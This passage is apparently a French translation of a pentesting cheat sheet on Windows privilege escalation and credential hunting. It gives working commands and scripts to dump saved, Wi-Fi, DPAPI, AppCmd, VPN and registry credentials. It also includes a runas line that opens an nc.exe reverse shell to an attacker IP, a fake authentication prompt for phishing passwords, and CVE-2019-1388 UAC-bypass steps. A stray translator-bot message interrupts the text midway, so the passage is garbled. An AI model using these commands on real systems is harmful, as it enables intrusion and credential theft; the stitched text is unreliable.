net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Vérifiez la présence d’autres ordinateurs connus codés en dur dans le hosts file

type C:\Windows\System32\drivers\etc\hosts

Interfaces réseau & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

Vérifier la présence de restricted services depuis l’extérieur

netstat -ano #Opened ports?

Table de routage

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Table ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Règles du pare-feu

Consultez cette page pour les commandes liées au pare-feu (lister les règles, créer des règles, désactiver, désactiver…)

Plus commandes pour l’énumération réseau ici

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Le binaire bash.exe peut également se trouver dans C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Si vous obtenez root user, vous pouvez écouter sur n’importe quel port (la première fois que vous utilisez nc.exe pour écouter sur un port, il demandera via GUI si nc doit être autorisé par le pare-feu).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Pour démarrer facilement bash en tant que root, vous pouvez essayer --default-user root

Vous pouvez explorer le système de fichiers WSL dans le dossier C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows Credentials

Winlogon Credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Gestionnaire d’identifiants / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Le Windows Vault stocke les identifiants utilisateur pour les serveurs, sites web et autres programmes que Windows peut connecter automatiquement les utilisateurs. À première vue, cela peut donner l’impression que les utilisateurs peuvent stocker leurs identifiants Facebook, Twitter, Gmail, etc., afin de se connecter automatiquement via les navigateurs. Mais ce n’est pas le cas.

Windows Vault stocke des identifiants que Windows peut utiliser pour connecter automatiquement les utilisateurs, ce qui signifie que toute application Windows qui a besoin d’identifiants pour accéder à une ressource (serveur ou site web) peut utiliser ce Credential Manager & Windows Vault et employer les identifiants fournis au lieu que les utilisateurs saisissent le nom d’utilisateur et le mot de passe à chaque fois.

À moins que les applications n’interagissent avec Credential Manager, je ne pense pas qu’il soit possible pour elles d’utiliser les identifiants pour une ressource donnée. Donc, si votre application veut utiliser le vault, elle doit d’une manière ou d’une autre communiquer avec le credential manager et demander les identifiants pour cette ressource depuis le coffre de stockage par défaut.

Use the cmdkey to list the stored credentials on the machine.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Vous pouvez alors utiliser runas avec les options /savecred afin d’utiliser les identifiants enregistrés. L’exemple suivant appelle un binaire distant via un partage SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Utilisation de runas avec un jeu d’identifiants fournis.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Notez que mimikatz, lazagne, credentialfileview, VaultPasswordView, ou depuis Empire Powershells module.

DPAPI

La Data Protection API (DPAPI) fournit une méthode de chiffrement symétrique des données, utilisée principalement dans le système d’exploitation Windows pour le chiffrement symétrique des clés privées asymétriques. Ce chiffrement exploite un secret utilisateur ou système qui contribue fortement à l’entropie.

DPAPI permet le chiffrement des clés via une clé symétrique dérivée des secrets de connexion de l’utilisateur. Dans les scénarios de chiffrement au niveau système, il utilise les secrets d’authentification de domaine du système.

Les clés RSA utilisateur chiffrées, lorsqu’elles sont protégées par DPAPI, sont stockées dans le répertoire %APPDATA%\Microsoft\Protect\{SID}, où {SID} représente le user’s Security Identifier. La clé DPAPI, co-localisée avec la master key qui protège les clés privées de l’utilisateur dans le même fichier, consiste généralement en 64 octets de données aléatoires. (Il est important de noter que l’accès à ce répertoire est restreint, empêchant de lister son contenu via la commande dir dans CMD, bien qu’il puisse être listé via PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Vous pouvez utiliser mimikatz module dpapi::masterkey avec les arguments appropriés (/pvk ou /rpc) pour le déchiffrer.

Les fichiers d’identifiants protégés par le mot de passe maître se trouvent généralement dans :

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Vous pouvez utiliser le mimikatz module dpapi::cred avec le /masterkey approprié pour déchiffrer.
Vous pouvez extraire de nombreuses DPAPI masterkeys depuis la mémoire avec le module sekurlsa::dpapi (si vous êtes root).

DPAPI - Extracting Passwords

Identifiants PowerShell

Les identifiants PowerShell sont souvent utilisés pour des tâches d’automatisation et de scripting comme moyen de stocker des identifiants chiffrés de manière pratique. Ces identifiants sont protégés par DPAPI, ce qui signifie généralement qu’ils ne peuvent être déchiffrés que par le même utilisateur sur le même ordinateur sur lequel ils ont été créés.

Pour déchiffrer un identifiant PowerShell à partir du fichier qui le contient, vous pouvez faire :

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wi-Fi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Connexions RDP enregistrées

Vous pouvez les trouver dans HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
et dans HKCU\Software\Microsoft\Terminal Server Client\Servers\

Commandes exécutées récemment

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Gestionnaire d’informations d’identification du Bureau à distance

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Utilisez le Mimikatz dpapi::rdg module avec le /masterkey approprié pour décrypter tous les fichiers .rdg
Vous pouvez extraire de nombreux DPAPI masterkeys depuis la mémoire avec le module Mimikatz sekurlsa::dpapi

Sticky Notes

Les gens utilisent souvent l’application StickyNotes sur des postes Windows pour save passwords et d’autres informations, sans se rendre compte qu’il s’agit d’un fichier de base de données. Ce fichier se trouve à C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite et vaut toujours la peine d’être recherché et examiné.

AppCmd.exe

Notez que pour récupérer des passwords depuis AppCmd.exe, vous devez être Administrateur et fonctionner sous un niveau d’intégrité élevé.
AppCmd.exe se trouve dans le répertoire %systemroot%\system32\inetsrv\.\
Si ce fichier existe, il est possible que certaines credentials aient été configurées et puissent être recovered.

Ce code a été extrait de PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Vérifier si C:\Windows\CCM\SCClient.exe existe .
Les installateurs sont exécutés avec les privilèges SYSTEM, beaucoup sont vulnérables à DLL Sideloading (infos provenant de https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Fichiers et Registre (Identifiants)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty clés d’hôte SSH

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys in registry

Il est possible que des SSH private keys soient stockées dans la clé de registre HKCU\Software\OpenSSH\Agent\Keys, donc vous devriez vérifier s’il y a quelque chose d’intéressant :

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Si vous trouvez une entrée dans ce chemin, il s’agira probablement d’une saved SSH key. Elle est stockée chiffrée mais peut être facilement déchiffrée en utilisant https://github.com/ropnop/windows_sshagent_extract.
Plus d’informations sur cette technique ici: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Si le service ssh-agent n’est pas en cours d’exécution et que vous souhaitez qu’il démarre automatiquement au démarrage, exécutez :

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Il semble que cette technique ne soit plus valide. J’ai essayé de créer des clés ssh, de les ajouter avec ssh-add et de me connecter via ssh à une machine. La clé de registre HKCU\Software\OpenSSH\Agent\Keys n’existe pas et procmon n’a pas identifié l’utilisation de dpapi.dll lors de l’authentification par clé asymétrique.

Fichiers non surveillés

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Vous pouvez également rechercher ces fichiers en utilisant metasploit : post/windows/gather/enum_unattend

Exemple de contenu:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Sauvegardes SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Identifiants Cloud

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Recherchez un fichier nommé SiteList.xml

Mot de passe GPP mis en cache

Une fonctionnalité permettait auparavant le déploiement de comptes d’administrateur local personnalisés sur un groupe de machines via Group Policy Preferences (GPP). Cependant, cette méthode présentait d’importantes failles de sécurité. Premièrement, les Group Policy Objects (GPOs), stockés sous forme de fichiers XML dans SYSVOL, pouvaient être consultés par n’importe quel utilisateur du domaine. Deuxièmement, les mots de passe contenus dans ces GPP, chiffrés avec AES256 à l’aide d’une clé par défaut documentée publiquement, pouvaient être décryptés par tout utilisateur authentifié. Cela constituait un risque sérieux, car cela pouvait permettre à des utilisateurs d’obtenir des privilèges élevés.

Pour atténuer ce risque, une fonction a été développée pour rechercher les fichiers GPP mis en cache localement contenant un champ “cpassword” non vide. Lorsqu’un tel fichier est trouvé, la fonction décrypte le mot de passe et renvoie un objet PowerShell personnalisé. Cet objet inclut des détails sur le GPP et l’emplacement du fichier, facilitant l’identification et la remédiation de cette vulnérabilité.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Pour décrypter le cPassword :

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Utiliser crackmapexec pour récupérer les mots de passe :

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Exemple de web.config avec credentials :

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Identifiants OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Journaux

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Demander les credentials

Vous pouvez toujours demander à l’utilisateur de saisir ses credentials ou même les credentials d’un autre utilisateur si vous pensez qu’il peut les connaître (notez que demander directement au client les credentials est vraiment risqué) :

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Possibles noms de fichiers contenant des identifiants

Fichiers connus qui, il y a quelque temps, contenaient des mots de passe en texte clair ou en Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Je n’ai pas accès aux fichiers. Fournissez les fichiers (ou le contenu de src/windows-hardening/windows-local-privilege-escalation/README.md) ou précisez quels “proposed files” je dois rechercher et quel terme/critère de recherche utiliser. Dès que vous fournissez les fichiers ou précisions, je traduirai le contenu pertinent en français en respectant la syntaxe markdown/HTML et les règles que vous avez indiquées.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Identifiants dans la Corbeille

Vous devriez également vérifier la Corbeille pour y rechercher des identifiants

Pour récupérer des mots de passe enregistrés par plusieurs programmes, vous pouvez utiliser : http://www.nirsoft.net/password_recovery_tools.html

Dans le registre

Autres clés de registre possibles contenant des identifiants

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Historique des navigateurs

Vous devriez vérifier les dbs où les mots de passe de Chrome ou Firefox sont stockés.
Vérifiez aussi l’historique, les signets et favoris des navigateurs, car certains mots de passe peuvent y être stockés.

Tools to extract passwords from browsers:

COM DLL Overwriting

Component Object Model (COM) est une technologie intégrée au système d’exploitation Windows qui permet la communication entre composants logiciels écrits dans différents langages. Chaque composant COM est identifié via un class ID (CLSID) et chaque composant expose des fonctionnalités via une ou plusieurs interfaces, identifiées par des interface IDs (IIDs).

COM classes and interfaces are defined in the registry under HKEY\CLASSES\ROOT\CLSID and HKEY\CLASSES\ROOT\Interface respectively. This registry is created by merging the HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

Basically, if you can overwrite any of the DLLs that are going to be executed, you could escalate privileges if that DLL is going to be executed by a different user.

To learn how attackers use COM Hijacking as a persistence mechanism check:

COM Hijacking

Recherche générique de mots de passe dans les fichiers et le registre

Rechercher le contenu des fichiers

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Rechercher un fichier portant un nom donné

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Rechercher dans le registry les noms de clés et les mots de passe

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Outils qui recherchent des passwords

MSF-Credentials Plugin est un plugin msf que j’ai créé pour exécuter automatiquement chaque metasploit POST module qui recherche des credentials à l’intérieur de la victime.
Winpeas recherche automatiquement tous les fichiers contenant des passwords mentionnés dans cette page.
Lazagne est un autre excellent outil pour extraire des passwords d’un système.

L’outil SessionGopher recherche des sessions, usernames et passwords de plusieurs outils qui enregistrent ces données en clair (PuTTY, WinSCP, FileZilla, SuperPuTTY, et RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imaginez qu’un processus s’exécutant en tant que SYSTEM ouvre un nouveau processus (OpenProcess()) avec un accès complet. Le même processus crée aussi un nouveau processus (CreateProcess()) avec de faibles privilèges mais héritant de tous les handles ouverts du processus principal.
Ensuite, si vous avez un accès complet au processus à faibles privilèges, vous pouvez récupérer le handle ouvert vers le processus privilégié créé avec OpenProcess() et injecter un shellcode.
Lisez cet exemple pour plus d’informations sur comment détecter et exploiter cette vulnérabilité.
Lisez cet autre article pour une explication plus complète sur la façon de tester et d’abuser d’autres handles ouverts de processus et de threads hérités avec différents niveaux d’autorisations (pas seulement un accès complet).

Named Pipe Client Impersonation

Les segments de mémoire partagée, appelés pipes, permettent la communication entre processus et le transfert de données.

Windows propose une fonctionnalité appelée Named Pipes, permettant à des processus non liés de partager des données, y compris sur des réseaux différents. Cela ressemble à une architecture client/serveur, avec des rôles définis comme named pipe server et named pipe client.

Lorsque des données sont envoyées via un pipe par un client, le serveur ayant créé le pipe peut reprendre l’identité du client, à condition de disposer des droits SeImpersonate nécessaires. Identifier un processus privilégié qui communique via un pipe que vous pouvez imiter offre l’opportunité d’obtenir des privilèges supérieurs en adoptant l’identité de ce processus lorsqu’il interagit avec le pipe que vous avez établi. Pour des instructions sur l’exécution d’une telle attaque, des guides utiles sont disponibles ici et ici.

De plus, l’outil suivant permet d’intercepter une communication sur named pipe avec un outil comme burp : https://github.com/gabriel-sztejnworcel/pipe-intercept et cet outil permet de lister et de voir tous les pipes pour trouver des privescs https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

Le service Telephony (TapiSrv) en mode serveur expose \\pipe\\tapsrv (MS-TRP). Un client distant authentifié peut abuser du chemin d’événements asynchrones basé sur mailslot pour transformer ClientAttach en une écriture arbitraire de 4 octets vers n’importe quel fichier existant accessible en écriture par NETWORK SERVICE, puis obtenir les droits d’administrateur Telephony et charger une DLL arbitraire en tant que service. Flux complet :

  • ClientAttach avec pszDomainUser défini sur un chemin existant accessible en écriture → le service l’ouvre via CreateFileW(..., OPEN_EXISTING) et l’utilise pour les écritures d’événements asynchrones.
  • Chaque événement écrit l’InitContext contrôlé par l’attaquant provenant de Initialize vers ce handle. Enregistrez une application de ligne avec LRegisterRequestRecipient (Req_Func 61), déclenchez TRequestMakeCall (Req_Func 121), récupérez via GetAsyncEvents (Req_Func 0), puis désenregistrez/arrêtez pour répéter des écritures déterministes.
  • Ajoutez-vous à [TapiAdministrators] dans C:\Windows\TAPI\tsec.ini, reconnectez-vous, puis appelez GetUIDllName avec un chemin de DLL arbitraire pour exécuter TSPI_providerUIIdentify en tant que NETWORK SERVICE.

Plus de détails :

Telephony Tapsrv Arbitrary Dword Write To Rce

Divers

Extensions de fichiers qui peuvent exécuter du code sous Windows

Consultez la page https://filesec.io/

Protocol handler / ShellExecute abuse via Markdown renderers

Les liens Markdown cliquables transmis à ShellExecuteExW peuvent déclencher des handlers d’URI dangereux (file:, ms-appinstaller: ou tout schéma enregistré) et exécuter des fichiers contrôlés par l’attaquant en tant qu’utilisateur courant. Voir :

Protocol Handler Shell Execute Abuse

Surveillance des lignes de commande pour les mots de passe

Lorsque vous obtenez un shell en tant qu’utilisateur, il peut y avoir des tâches planifiées ou d’autres processus exécutés qui passent des identifiants sur la ligne de commande. Le script ci-dessous capture les lignes de commande des processus toutes les deux secondes et compare l’état actuel avec l’état précédent, affichant toutes les différences.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Stealing passwords from processes

From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Si vous avez accès à l’interface graphique (via console ou RDP) et que UAC est activé, dans certaines versions de Microsoft Windows il est possible d’exécuter un terminal ou tout autre processus tel que “NT\AUTHORITY SYSTEM” depuis un utilisateur non privilégié.

Cela permet d’escalader les privilèges et de contourner UAC en même temps via la même vulnérabilité. De plus, il n’est pas nécessaire d’installer quoi que ce soit et le binaire utilisé pendant le processus est signé et émis par Microsoft.

Certains des systèmes affectés sont les suivants:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Pour exploiter cette vulnérabilité, il est nécessaire d’effectuer les étapes suivantes :

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Vous avez tous les fichiers et informations nécessaires dans le dépôt GitHub suivant :

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Lisez ceci pour en apprendre davantage sur Integrity Levels :

Integrity Levels

Puis lisez ceci pour en savoir plus sur UAC et les UAC bypasses :

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

La technique décrite dans ce blog post avec un code d’exploit disponible ici.

